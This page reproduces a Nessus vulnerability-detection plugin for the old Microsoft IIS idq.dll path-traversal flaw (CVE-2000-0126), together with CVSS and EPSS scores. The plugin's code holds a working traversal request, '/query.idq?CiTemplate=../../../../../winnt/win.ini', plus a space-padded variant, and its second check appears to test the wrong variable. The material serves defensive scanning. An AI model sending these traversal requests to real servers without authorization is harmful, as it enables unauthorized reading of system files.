Lucene search

K
nessusThis script is Copyright (C) 2000-2021 Tenable Network Security, Inc.IDQ_DLL.NASL
HistoryFeb 08, 2000 - 12:00 a.m.

Microsoft IIS idq.dll Traversal Arbitrary File Access

2000-02-0800:00:00
This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.
www.tenable.com
135

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

EPSS

0.956

Percentile

99.4%

There is a vulnerability in idq.dll which allows any remote user to read any file on the target system through the ‘query.idq’ parameter.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
 script_id(10115);
 script_version("1.38");

 script_cve_id("CVE-2000-0126");
 script_bugtraq_id(968);
 script_xref(name:"MSKB", value:"251170");
 script_xref(name:"MSKB", value:"252463");
 script_xref(name:"MSFT", value:"MS00-006");

 script_name(english:"Microsoft IIS idq.dll Traversal Arbitrary File Access");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by an information disclosure 
vulnerability." );
 script_set_attribute(attribute:"description", value:
"There is a vulnerability in idq.dll which allows any remote
user to read any file on the target system through the 'query.idq' 
parameter." );
 script_set_attribute(attribute:"see_also", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2000/ms00-006" );
 script_set_attribute(attribute:"solution", value:
"Microsoft's webhits.dll addresses some of this issue." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/02/08");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/02/02");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_summary(english:"Attempts to read an arbitrary file");
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("find_service1.nasl", "http_version.nasl", "www_fingerprinting_hmap.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);


sig = get_kb_item("www/hmap/" + port + "/description");
if ( sig && "IIS" >!< sig ) exit(0);

base = "/query.idq?CiTemplate=../../../../../winnt/win.ini";

res1 = http_send_recv3(method:"GET", item:base, port:port);

if (isnull(res1)) exit(1, "The web server on port "+port+" failed to respond.");
if("[fonts]" >< res1[2])
{
  security_warning(port);
  exit(0);
}

res2 = http_send_recv3(method:"GET", item:string(base, crap(data:"%20", length:300)), port:port);
if (isnull(res2)) exit(1, "The web server on port "+port+" failed to respond.");
if("[fonts]" >< res[2])
{
  security_warning(port);
  exit(0);
}

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

EPSS

0.956

Percentile

99.4%

Related for IDQ_DLL.NASL